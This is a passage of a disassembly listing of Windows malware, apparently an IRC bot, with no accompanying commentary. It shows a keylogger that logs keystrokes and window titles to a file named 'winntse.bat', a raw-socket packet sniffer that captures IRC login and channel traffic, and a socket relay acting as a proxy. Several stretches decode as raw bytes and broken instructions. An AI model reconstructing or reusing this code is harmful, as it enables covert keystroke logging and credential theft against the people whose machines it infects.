cmp [ebp-30h], esi
jnz short loc_4118AA
push esi
lea eax, [ebp-2D4h]
push dword ptr [ebp-34h]
push eax
lea eax, [ebp-0D0h]
push eax
push dword ptr [ebp-0D4h]
call sub_4099D2
add esp, 14h
loc_4118AA: ; CODE XREF: .nsp0:00411888j
; .nsp0:00411941j ...
lea eax, [ebp-2D4h]
push eax
call sub_4157A6
pop ecx
lea eax, [ebp-4]
push eax
lea eax, [ebp-24h]
push eax
push edi
call dword_4D1284 ; accept
push dword ptr [ebp-3Ch]
mov ebx, eax
movzx eax, word ptr [ebp-22h]
push eax
mov [ebp-28h], esi
push dword ptr [ebp-20h]
call dword_4D127C ; inet_ntoa
push eax
lea eax, [ebp-2D4h]
push offset dword_43C820
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2D4h]
push 19h
push eax
call sub_40B00E
mov [ebp-38h], eax
imul eax, 234h
mov ecx, [ebp-3Ch]
add esp, 20h
mov dword_444124[eax], ecx
lea eax, [ebp+8]
push eax
lea eax, [ebp-0D4h]
push esi
push eax
push offset loc_4119D4
push esi
push esi
call dword_42707C ; CreateThread
mov ecx, [ebp-38h]
imul ecx, 234h
cmp eax, esi
mov dword_444134[ecx], eax
jz short loc_411951
loc_41193E: ; CODE XREF: .nsp0:0041194Fj
cmp [ebp-28h], esi
jnz loc_4118AA
push 5
call dword_427064 ; Sleep
jmp short loc_41193E
; ---------------------------------------------------------------------------
loc_411951: ; CODE XREF: .nsp0:0041193Cj
call dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2D4h]
push offset dword_43C7E4
push eax
call sub_41BF36
add esp, 0Ch
jmp loc_4118AA
; ---------------------------------------------------------------------------
loc_411971: ; CODE XREF: .nsp0:0041184Aj
; .nsp0:0041185Bj
push edi
call dword_4D1288 ; closesocket
push dword ptr [ebp-40h]
lea eax, [ebp-2D4h]
push offset dword_43C7B0
push eax
call sub_41BF36
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_4119B4
push esi
lea eax, [ebp-2D4h]
push dword ptr [ebp-34h]
push eax
lea eax, [ebp-0D0h]
push eax
push dword ptr [ebp-0D4h]
call sub_4099D2
add esp, 14h
loc_4119B4: ; CODE XREF: .nsp0:00411992j
lea eax, [ebp-2D4h]
push eax
call sub_4157A6
push dword ptr [ebp-3Ch]
call sub_40B32A
pop ecx
pop ecx
push esi
call near ptr 0B40000h
wait
pop edi
pop esi
pop ebx
loc_4119D4: ; DATA XREF: .nsp0:0041191Eo
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp-0C8h]
rep movsd
mov esi, [ebp-2Ch]
push 1
mov [ebp+8], esi
imul esi, 234h
pop edi
lea esi, dword_44412C[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov dword ptr [ebp-8], 5
mov [ebp-5D0h], eax
lea eax, [ebp-8]
push eax
push ebx
lea eax, [ebp-5D4h]
push ebx
push eax
push ebx
mov [ebp-4], ebx
mov [ebp-5D4h], edi
call dword_4D11D8 ; select
test eax, eax
jnz short loc_411A55
push dword ptr [esi]
call dword_4D1288 ; closesocket
push dword ptr [ebp+8]
call sub_40B32A
pop ecx
push ebx
call near ptr 0B40000h
cli
loc_411A55: ; CODE XREF: .nsp0:00411A3Bj
push ebx
lea eax, [ebp-4D0h]
push 408h
push eax
push dword ptr [esi]
call dword_4D1208 ; recv
test eax, eax
jg short loc_411A86
push dword ptr [esi]
call dword_4D1288 ; closesocket
push dword ptr [ebp+8]
call sub_40B32A
pop ecx
push ebx
call near ptr 0B40000h
push ebp
loc_411A86: ; CODE XREF: .nsp0:00411A6Cj
cmp byte ptr [ebp-4D0h], 4
jnz loc_411C80
cmp byte ptr [ebp-4CFh], 1
jnz loc_411C80
cmp [ebp-44h], bl
jz short near ptr loc_411B1B+1
lea eax, [ebp-44h]
push eax
lea eax, [ebp-4C8h]
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short near ptr loc_411B1B+1
lea eax, [ebp-44h]
push eax
lea eax, [ebp-4C8h]
push eax
push offset dword_43C8E8
call sub_41581A
push 400h
lea eax, [ebp-4C8h]
push ebx
push eax
mov [ebp-4D0h], bl
mov byte ptr [ebp-4CFh], 5Dh
call sub_41BC40
add esp, 18h
lea eax, [ebp-4D0h]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4D1240 ; send
push dword ptr [esi]
call dword_4D1288 ; closesocket
push dword ptr [ebp+8]
call sub_40B32A
pop ecx
push ebx
call near ptr 0B40000h
loc_411B1B: ; CODE XREF: .nsp0:00411AA3j
; .nsp0:00411AB9j
mov eax, ds:458D106Ah
call near ptr 19296B78h
mov eax, ds:8B660000h
test [edx], esi
sti
; ---------------------------------------------------------------------------
db 2 dup(0FFh), 83h
dd 89660CC4h, 858BEA45h, 0FFFFFB34h, 6A57066Ah, 45C76602h
dd 890002E8h, 15FFEC45h, 4D1270h, 0FF83F88Bh, 0FF5D75FFh
dd 4D118415h, 0A8685000h, 0E80043C8h, 3CB2h, 40068h, 38858D00h
dd 53FFFFFBh, 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 0B9E85BFFh
dd 830000A0h, 858D14C4h, 0FFFFFB30h, 50086A53h, 15FF36FFh
dd 4D1240h, 15FF36FFh, 4D1288h, 0E80875FFh, 0FFFF977Eh
dd 4DE85359h, 1E0072E4h, 6AE8458Dh, 0FF575010h, 4D119815h
dd 0FFF88300h, 15FF5D75h, 4D1184h, 0C8646850h, 43E80043h
dd 6800003Ch, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
dd 85C6FFFFh, 0FFFFFB31h, 0A04AE85Bh, 0C4830000h, 30858D14h
dd 53FFFFFBh, 0FF50086Ah, 4015FF36h, 0FF004D12h, 8815FF36h
dd 0FF004D12h, 0FE80875h, 59FFFF97h, 0E3DEE853h, 68AC0072h
dd 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh
dd 0FFFFFB31h, 9FFEE85Ah, 0C4830000h, 30858D0Ch, 53FFFFFBh
dd 0FF50086Ah, 4015FF36h, 0FF004D12h, 39E85736h, 59000000h
dd 15FF5759h, 4D1288h, 15FF36FFh, 4D1288h, 0E80875FFh
dd 0FFFF96B2h, 81E85359h, 870072E3h
; ---------------------------------------------------------------------------
loc_411C80: ; CODE XREF: .nsp0:00411A8Dj
; .nsp0:00411A9Aj
push dword ptr [esi]
call dword_4D1288 ; closesocket
push dword ptr [ebp+8]
call sub_40B32A
pop ecx
push ebx
call near ptr 0B40000h
; ---------------------------------------------------------------------------
db 21h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+0Ch]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_411CAE: ; CODE XREF: .nsp0:00411D5Dj
; .nsp0:00411D8Dj
mov [ebp-100h], ebx
mov dword ptr [ebp-104h], 1
xor ecx, ecx
lea eax, [ebp-100h]
loc_411CC6: ; CODE XREF: .nsp0:00411CD4j
mov edx, [ebp+8]
cmp [eax], edx
jz short loc_411CD6
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_411CC6
loc_411CD6: ; CODE XREF: .nsp0:00411CCBj
cmp ecx, 1
jnz short loc_411CEB
mov [ebp-0FCh], edx
mov dword ptr [ebp-104h], 2
loc_411CEB: ; CODE XREF: .nsp0:00411CD9j
push esi
lea eax, [ebp-504h]
push edi
push eax
call sub_41BC40
add esp, 0Ch
lea eax, [ebp-104h]
push edi
push edi
push edi
push eax
push edi
call dword_4D11D8 ; select
lea eax, [ebp-104h]
push eax
push ebx
call dword_4D10DC ; __WSAFDIsSet
test eax, eax
jz short loc_411D4B
push edi
lea eax, [ebp-504h]
push esi
push eax
push ebx
call dword_4D1208 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_411D93
push edi
push eax
lea eax, [ebp-504h]
push eax
push dword ptr [ebp+8]
call dword_4D1240 ; send
cmp eax, 0FFFFFFFFh
jz short loc_411D93
loc_411D4B: ; CODE XREF: .nsp0:00411D1Dj
lea eax, [ebp-104h]
push eax
push dword ptr [ebp+8]
call dword_4D10DC ; __WSAFDIsSet
test eax, eax
jz loc_411CAE
push edi
lea eax, [ebp-504h]
push esi
push eax
push dword ptr [ebp+8]
call dword_4D1208 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_411D93
push edi
push eax
lea eax, [ebp-504h]
push eax
push ebx
call dword_4D1240 ; send
cmp eax, 0FFFFFFFFh
jnz loc_411CAE
loc_411D93: ; CODE XREF: .nsp0:00411D32j
; .nsp0:00411D49j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
dword_411D98 dd 81EC8B55h, 87CECh, 8558B00h, 6A575653h, 58DB3301h, 0A9B9h
; DATA XREF: .nsp0:00403BD8o
; sub_40B9DD+106o
dd 8DF28B00h, 0FFFC8CBDh, 26A53FFh, 85FFA5F3h, 0FFFFFE9Ch
dd 4589026Ah, 0EC4589F0h, 89F84589h, 2A082h, 7015FF00h
dd 8B004D12h, 0FFFE83F0h, 90685675h, 0FF000001h, 42706415h
dd 289D3900h, 75FFFFFFh, 858D5323h, 0FFFFF888h, 0FF24B5FFh
dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF7BBDE8h
dd 14C483FFh, 0F888858Dh, 0E850FFFFh, 3982h, 0FE98B5FFh
dd 0FBE8FFFFh, 59FFFF94h, 0C9E85359h, 8E0072E1h, 6AF0458Dh
dd 0FFBF5004h, 6A0000FFh, 0FF565704h, 4D11D015h, 0EC458D00h
dd 6A50046Ah, 0FF5657FBh, 4D11D015h, 98858B00h, 6AFFFFFEh
dd 34C06910h, 53000002h, 412CB089h, 458D0044h, 0C5E850D4h
dd 8300009Dh, 0C7660CC4h, 2D445h, 0FEA0B5FFh, 15FFFFFFh
dd 4D11F0h, 0D6458966h, 6AD4458Dh, 89565010h, 15FFD85Dh
dd 4D121Ch, 75FFF883h, 13886819h, 15FF0000h, 427064h, 0FE9C8DFFh
dd 75FFFFFFh, 347E908h, 858D0000h, 0FFFFFC90h, 42907068h
dd 0E5E85000h, 5900009Ch, 8959C33Bh, 4C75FC45h, 19068h
dd 6415FF00h, 53004270h, 0F888858Dh, 0B5FFFFFFh, 0FFFFFF24h
dd 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 0CBE8FFFFh, 8DFFFF7Ah
dd 0FFF88885h, 93E850FFh, 0FF000038h, 0FFFE98B5h, 940CE8FFh
dd 0C483FFFFh, 0D9E8531Ch, 9F0072E0h, 39087D8Bh, 2A09Fh
dd 95840F00h, 0BF000002h, 80h, 0FF30858Dh, 5357FFFFh, 0E445C750h
dd 5, 88E845C7h, 89000013h, 0FFF788B5h, 8485C7FFh, 1FFFFF7h
dd 0E8000000h, 9CD8h, 8D0CC483h, 5350E445h, 0F784858Dh
dd 5053FFFFh, 0D815FF53h, 85004D11h, 398E0FC0h, 0A0000002h
dd 443398h, 8588CF8Bh, 0FFFFFA88h, 0BD8DC033h, 0FFFFFA89h
dd 10F445C7h, 0F3000000h, 0AAAB66ABh, 50F4458Dh, 50C4458Dh
dd 30858D53h, 68FFFFFFh, 80h, 15FF5650h, 4D11C8h, 89C875FFh
dd 15FFF845h, 4D127Ch, 0B0458D50h, 9F5CE850h, 9D380000h
dd 0FFFFFF30h, 850F5959h, 1C2h, 0FF31BD80h, 0F01FFFFh
dd 0BB85h, 94858D00h, 50FFFFFDh, 988FE8h, 0FF535300h, 0B2E8FC75h
dd 0FF0000B8h, 858DFC75h, 0FFFFFA8Ch, 0FA889D88h, 85C6FFFFh
dd 0FFFFFA89h, 2006803h, 16A0000h, 8A9D8850h, 0C6FFFFFAh
dd 0FFFA8B85h, 55E801FFh, 83000099h, 4D8D20C4h, 0F84589C4h
dd 0FF04C083h, 5351F475h, 88858D50h, 50FFFFFAh, 5415FF56h
dd 8D004D12h, 8D50B045h, 0FFF88885h, 0C95468FFh, 0E8500043h
dd 9EC6h, 390CC483h, 0FFFF289Dh, 532375FFh, 0F888858Dh
dd 0B5FFFFFFh, 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh
dd 37E8FFFFh, 83FFFF79h, 858D14C4h, 0FFFFF888h, 36FCE850h
dd 0E9590000h, 110h, 0FF31BD80h, 0F04FFFFh, 0ED85h, 338D8A00h
dd 8AFFFFFFh, 0FFFF3285h, 0FFF980FFh, 0FA889D88h, 85C6FFFFh
dd 0FFFFFA89h, 0FE127503h, 88C932C0h, 0FFFA8A85h, 8B9D88FFh
dd 0EBFFFFFAh, 88C1FE0Eh, 0FFFA8A85h, 8B8D88FFh, 0FFFFFFAh
dd 0B60FC0B6h, 8E0C1C9h, 0BFC103h, 0C1000002h, 0C72B09E0h
dd 75FF5053h, 0B7A3E8FCh, 75FF0000h, 8C858DFCh, 57FFFFFAh
dd 0E850016Ah, 9864h, 8B1CC483h, 0C4458DF8h, 0FFF87D89h
dd 8D50F475h, 50530447h, 0FA88858Dh, 5650FFFFh, 125415FFh
dd 0FB3B004Dh, 458D6E75h, 858D50B0h, 0FFFFF888h, 43C93468h
dd 0CFE85000h, 8300009Dh, 9D390CC4h, 0FFFFFF28h, 8D532375h
dd 0FFF88885h, 24B5FFFFh, 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh
dd 0FFFC8CB5h, 7840E8FFh, 0C483FFFFh, 88858D14h, 50FFFFF8h
dd 3605E8h, 0FC05FF00h, 59004D3Ch, 75FF16EBh, 0C4458DF4h
dd 96A5350h, 43C92868h, 15FF5600h, 4D1254h, 0FF85D39h
dd 0FFFD5F8Fh, 87D8BFFh, 8815FF56h, 0FF004D12h, 30E8FC75h
dd 0FF000097h, 0FFFE9C8Dh, 0A09F39FFh, 59000002h, 0B5FF1375h
dd 0FFFFFE98h, 0FF9135E8h, 0E85359FFh, 72DE04h, 3E86849h
dd 15FF0000h, 427064h, 0FB8AE857h, 5E5FFFFFh, 4C2C95Bh
db 0
; ---------------------------------------------------------------------------
loc_412215: ; CODE XREF: .nsp0:004123AAp
; .nsp0:00412549p
push ebp
mov ebp, esp
sub esp, 314h
lea eax, [ebp-10h]
push esi
push eax
call dword_427130 ; GetLocalTime
lea eax, [ebp-114h]
push 104h
push eax
call near ptr 0B40000h
mov dh, 8Dh
test ebp, esp
; ---------------------------------------------------------------------------
dw 0FFFEh
; ---------------------------------------------------------------------------
jmp fword ptr [eax+14h]
; ---------------------------------------------------------------------------
rol dword ptr [ebx+0], 1
push eax
call sub_41C560
lea eax, [ebp-114h]
push offset aWinntse_bat ; "winntse.bat"
push eax
call sub_41C560
lea eax, [ebp-114h]
push offset aAb ; "ab"
push eax
call sub_41BBB8
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_41227C
push 1
pop eax
jmp short loc_4122F3
; ---------------------------------------------------------------------------
loc_41227C: ; CODE XREF: .nsp0:00412275j
movzx eax, word ptr [ebp-4]
push dword ptr [ebp+8]
push eax
movzx eax, word ptr [ebp-6]
push eax
movzx eax, word ptr [ebp-8]
push eax
movzx eax, word ptr [ebp-10h]
push eax
movzx eax, word ptr [ebp-0Ah]
push eax
movzx eax, word ptr [ebp-0Eh]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_41C49F
push esi
call sub_41B90B
add esp, 28h
cmp dword ptr [ebp+98h], 0
jnz short loc_4122F1
push dword ptr [ebp+8]
lea eax, [ebp-314h]
push offset dword_43D0E4
push 200h
push eax
call sub_41C030
push 0
lea eax, [ebp-314h]
push dword ptr [ebp+94h]
push eax
lea eax, [ebp+14h]
push eax
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 24h
loc_4122F1: ; CODE XREF: .nsp0:004122B8j
xor eax, eax
loc_4122F3: ; CODE XREF: .nsp0:0041227Aj
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_4122F6: ; DATA XREF: .nsp0:00405F0Fo
push ebp
mov ebp, esp
sub esp, 8DCh
mov eax, [ebp+8]
push ebx
push esi
push edi
and dword ptr [ebp-8DCh], 0
push 25h
and dword ptr [ebp-4], 0
pop ecx
mov esi, eax
lea edi, [ebp-0DCh]
rep movsd
mov dword ptr [eax+90h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-8D8h]
rep stosd
call dword_4D1174 ; GetForegroundWindow
lea ecx, [ebp-48h]
push 3Ch
push ecx
push eax
mov [ebp-8], eax
call dword_4D118C ; GetWindowTextA
mov ebx, 200h
loc_412351: ; CODE XREF: .nsp0:004125BDj
push 8
call dword_427064 ; Sleep
call dword_4D1174 ; GetForegroundWindow
cmp eax, [ebp-8]
jz short loc_4123D9
lea ecx, [ebp-48h]
push 3Ch
push ecx
push eax
mov [ebp-8], eax
call dword_4D118C ; GetWindowTextA
lea eax, [ebp-48h]
push eax
lea eax, [ebp-2DCh]
push eax
lea eax, [ebp-4DCh]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax
call sub_41BF36
sub esp, 84h
lea esi, [ebp-0DCh]
lea eax, [ebp-4DCh]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call loc_412215
mov [ebp-4], eax
push ebx
lea eax, [ebp-2DCh]
push 0
push eax
call sub_41BC40
add esp, 0A4h
lea eax, [ebp-4DCh]
push ebx
push 0
push eax
call sub_41BC40
add esp, 0Ch
loc_4123D9: ; CODE XREF: .nsp0:00412362j
mov dword ptr [ebp+8], offset aB_1 ; "b"
loc_4123E0: ; CODE XREF: .nsp0:004125B3j
push 10h
call dword_4D10C4 ; GetKeyState
movsx esi, ax
mov eax, [ebp+8]
mov edi, [eax-4]
push edi
call dword_4D11BC ; GetAsyncKeyState
test ah, 80h
jz short loc_412478
push 14h
call dword_4D10C4 ; GetKeyState
test ax, ax
jz short loc_412429
cmp esi, 0FFFFFFFFh
jle short loc_412429
cmp edi, 40h
jle short loc_412429
cmp edi, 5Bh
jge short loc_412429
mov dword ptr [ebp+edi*4-8DCh], 1
jmp loc_4125A8
; ---------------------------------------------------------------------------
loc_412429: ; CODE XREF: .nsp0:00412408j
; .nsp0:0041240Dj ...
push 14h
call dword_4D10C4 ; GetKeyState
test ax, ax
jz short loc_412454
test esi, esi
jge short loc_412468
cmp edi, 40h
jle short loc_412454
cmp edi, 5Bh
jge short loc_412454
mov dword ptr [ebp+edi*4-8DCh], 2
jmp loc_4125A8
; ---------------------------------------------------------------------------
loc_412454: ; CODE XREF: .nsp0:00412434j
; .nsp0:0041243Dj ...
test esi, esi
jge short loc_412468
mov dword ptr [ebp+edi*4-8DCh], 3
jmp loc_4125A8
; ---------------------------------------------------------------------------
loc_412468: ; CODE XREF: .nsp0:00412438j
; .nsp0:00412456j
mov dword ptr [ebp+edi*4-8DCh], 4
jmp loc_4125A8
; ---------------------------------------------------------------------------
loc_412478: ; CODE XREF: .nsp0:004123FBj
mov esi, [ebp+edi*4-8DCh]
lea eax, [ebp+edi*4-8DCh]
test esi, esi
jz loc_4125A8
and dword ptr [eax], 0
lea eax, [ebp-2DCh]
cmp edi, 8
push eax
jnz short loc_4124B0
call sub_41B890
and byte ptr [ebp+eax-2DDh], 0
pop ecx
jmp loc_4125A8
; ---------------------------------------------------------------------------
loc_4124B0: ; CODE XREF: .nsp0:0041249Bj
call sub_41B890
cmp eax, 1B9h
pop ecx
jbe short loc_4124E2
call dword_4D1174 ; GetForegroundWindow
lea ecx, [ebp-48h]
push 3Ch
push ecx
push eax
call dword_4D118C ; GetWindowTextA
lea eax, [ebp-48h]
push eax
lea eax, [ebp-2DCh]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_412523
; ---------------------------------------------------------------------------
loc_4124E2: ; CODE XREF: .nsp0:004124BBj
cmp edi, 0Dh
jnz loc_41257A
lea eax, [ebp-2DCh]
push eax
call sub_41B890
test eax, eax
pop ecx
jz loc_4125A8
call dword_4D1174 ; GetForegroundWindow
lea ecx, [ebp-48h]
push 3Ch
push ecx
push eax
call dword_4D118C ; GetWindowTextA
lea eax, [ebp-48h]
push eax
lea eax, [ebp-2DCh]
push eax
push offset aSReturnS ; "%s (Return) (%s)"
loc_412523: ; CODE XREF: .nsp0:004124E0j
lea eax, [ebp-4DCh]
push eax
call sub_41BF36
sub esp, 84h
lea esi, [ebp-0DCh]
lea eax, [ebp-4DCh]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call loc_412215
mov [ebp-4], eax
push ebx
lea eax, [ebp-2DCh]
push 0
push eax
call sub_41BC40
add esp, 0A4h
lea eax, [ebp-4DCh]
push ebx
push 0
push eax
call sub_41BC40
add esp, 0Ch
jmp short loc_4125A8
; ---------------------------------------------------------------------------
loc_41257A: ; CODE XREF: .nsp0:004124E5j
cmp esi, 1
jz short loc_412593
cmp esi, 3
jz short loc_412593
cmp esi, 2
jz short loc_41258E
cmp esi, 4
jnz short loc_4125A8
loc_41258E: ; CODE XREF: .nsp0:00412587j
push dword ptr [ebp+8]
jmp short loc_41259A
; ---------------------------------------------------------------------------
loc_412593: ; CODE XREF: .nsp0:0041257Dj
; .nsp0:00412582j
mov eax, [ebp+8]
add eax, 7
push eax
loc_41259A: ; CODE XREF: .nsp0:00412591j
lea eax, [ebp-2DCh]
push eax
call sub_41C560
pop ecx
pop ecx
loc_4125A8: ; CODE XREF: .nsp0:00412424j
; .nsp0:0041244Fj ...
add dword ptr [ebp+8], 14h
cmp dword ptr [ebp+8], offset dword_43D0AC
jl loc_4123E0
cmp dword ptr [ebp-4], 0
jz loc_412351
push dword ptr [ebp-0D8h]
call sub_40B32A
pop ecx
push 0
call near ptr 0B40000h
push es
loc_4125D7: ; DATA XREF: .nsp0:00405C0Co
push ebp
mov ebp, esp
mov eax, 102B4h
call sub_41C1D0
mov edx, [ebp+8]
push esi
push edi
push 1
pop eax
mov esi, edx
push 25h
lea edi, [ebp-0B4h]
pop ecx
mov [ebp-8], eax
rep movsd
mov [edx+90h], eax
xor esi, esi
push 10h
lea eax, [ebp-1Ch]
push esi
push eax
call sub_41BC40
add esp, 0Ch
mov word ptr [ebp-1Ch], 2
push esi
call dword_4D11F0 ; ntohs
push dword ptr [ebp-0B4h]
mov [ebp-1Ah], ax
call sub_40AB6A
pop ecx
push eax
call dword_4D1230 ; inet_addr
push esi
push 3
push 2
mov [ebp-18h], eax
call dword_4D1270 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-4], edi
jnz short loc_4126AC
call dword_4D1184 ; WSAGetLastError
push eax
lea eax, [ebp-2B4h]
push offset dword_43DAB4
push eax
call sub_41BF36
add esp, 0Ch
cmp [ebp-28h], esi
jnz short loc_41268F
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_4099D2
add esp, 14h
loc_41268F: ; CODE XREF: .nsp0:0041266Dj
lea eax, [ebp-2B4h]
push eax
call sub_4157A6
push dword ptr [ebp-30h]
call sub_40B32A
pop ecx
pop ecx
push esi
call near ptr 0B40000h
pop ds
loc_4126AC: ; CODE XREF: .nsp0:0041264Dj
mov eax, [ebp-30h]
push 10h
imul eax, 234h
mov dword_44412C[eax], edi
lea eax, [ebp-1Ch]
push eax
push edi
call dword_4D121C ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_412731
call dword_4D1184 ; WSAGetLastError
push eax
lea eax, [ebp-2B4h]
push offset dword_43DA88
push eax
call sub_41BF36
add esp, 0Ch
cmp [ebp-28h], esi
jnz short loc_41270D
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_4099D2
add esp, 14h
loc_41270D: ; CODE XREF: .nsp0:004126EBj
lea eax, [ebp-2B4h]
push eax
call sub_4157A6
pop ecx
push edi
call dword_4D1288 ; closesocket
push dword ptr [ebp-30h]
call sub_40B32A
pop ecx
push esi
call near ptr 0B40000h
xchg eax, ecx
loc_412731: ; CODE XREF: .nsp0:004126CBj
push esi
lea eax, [ebp-20h]
push esi
push eax
push esi
push esi
lea eax, [ebp-8]
push 4
push eax
push 98000001h
push edi
call dword_4D119C ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_4127B4
call dword_4D1184 ; WSAGetLastError
push eax
lea eax, [ebp-2B4h]
push offset dword_43DA58
push eax
call sub_41BF36
add esp, 0Ch
cmp [ebp-28h], esi
jnz short loc_412790
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_4099D2
add esp, 14h
loc_412790: ; CODE XREF: .nsp0:0041276Ej
lea eax, [ebp-2B4h]
push eax
call sub_4157A6
pop ecx
push edi
call dword_4D1288 ; closesocket
push dword ptr [ebp-30h]
call sub_40B32A
pop ecx
push esi
call near ptr 0B40000h
pop ecx
loc_4127B4: ; CODE XREF: .nsp0:0041274Ej
push ebx
mov ebx, offset dword_43D170
loc_4127BA: ; CODE XREF: .nsp0:004127F2j
; .nsp0:00412804j ...
mov edi, 0FFFFh
lea eax, [ebp-102B4h]
push edi
push esi
push eax
call sub_41BC40
add esp, 0Ch
lea eax, [ebp-102B4h]
push esi
push edi
push eax
push dword ptr [ebp-4]
call dword_4D1208 ; recv
cmp eax, 0FFFFFFFFh
jz loc_4128E7
cmp byte ptr [ebp-102ABh], 6
jnz short loc_4127BA
mov eax, [ebp-102A8h]
cmp byte ptr [ebp-10293h], 18h
mov [ebp-0Ch], eax
jnz short loc_4127BA
lea eax, [ebp-1028Ch]
push offset dword_43DA4C
push eax
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_4127BA
lea eax, [ebp-1028Ch]
push offset dword_43DA3C
push eax
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_4127BA
mov eax, ebx
xor edi, edi
test eax, eax
jz loc_4127BA
mov [ebp+8], ebx
loc_412843: ; CODE XREF: .nsp0:0041285Ej
push eax
lea eax, [ebp-1028Ch]
push eax
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412865
inc edi
add dword ptr [ebp+8], 18h
mov eax, [ebp+8]
jnz short loc_412843
jmp loc_4127BA
; ---------------------------------------------------------------------------
loc_412865: ; CODE XREF: .nsp0:00412854j
lea eax, [ebp-1028Ch]
push eax
push dword ptr [ebp-102A0h]
call dword_4D1120 ; ntohs
movzx eax, ax
push eax
push dword ptr [ebp-0Ch]
call dword_4D127C ; inet_ntoa
push eax
lea eax, [edi+edi*2]
mov eax, dword_43D184[eax*8]
push off_43D160[eax*4]
lea eax, [ebp-2B4h]
push offset dword_43DA08
push 200h
push eax
call sub_41C030
add esp, 1Ch
cmp [ebp-28h], esi
jnz short loc_4128D5
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_4099D2
add esp, 14h
loc_4128D5: ; CODE XREF: .nsp0:004128B3j
lea eax, [ebp-2B4h]
push eax
call sub_4157A6
pop ecx
jmp loc_4127BA
; ---------------------------------------------------------------------------
loc_4128E7: ; CODE XREF: .nsp0:004127E5j
call dword_4D1184 ; WSAGetLastError
push eax
push offset dword_43D9DC
lea eax, [ebp-2B4h]
push 200h
push eax
call sub_41C030
add esp, 10h
cmp [ebp-28h], esi
pop ebx
jnz short loc_41292D
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_4099D2
add esp, 14h
loc_41292D: ; CODE XREF: .nsp0:0041290Bj
lea eax, [ebp-2B4h]
push eax
call sub_4157A6
pop ecx
push dword ptr [ebp-4]
call dword_4D1288 ; closesocket
push dword ptr [ebp-30h]
call sub_40B32A
pop ecx
push esi
call near ptr 0B40000h
cmp eax, 424448Bh
mov dword_4D3F60, eax
mov eax, offset dword_4D3F60
retn
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz short loc_41297C
loc_412978: ; CODE XREF: .nsp0:0041298Bj
; .nsp0:0041299Cj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41297C: ; CODE XREF: .nsp0:00412976j
push offset aMss2 ; "#mss2"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412978
push offset aPsniff_1 ; "[PSNIFF]:"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412978
push offset aPsniff_0 ; "PSNIFF//"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412978
push offset aJoin_0 ; "JOIN #"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz short loc_4129C4
loc_4129C0: ; CODE XREF: .nsp0:004129D3j
; .nsp0:004129E4j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4129C4: ; CODE XREF: .nsp0:004129BEj
push offset a302_0 ; "302 "
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_4129C0
push offset a366 ; "366 "
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_4129C0
push offset a_login_0 ; ":.login"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_4129C0
push offset aLogin_1 ; ":!login"
push esi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_4129C0
push offset aLogin_0 ; ":!Login"
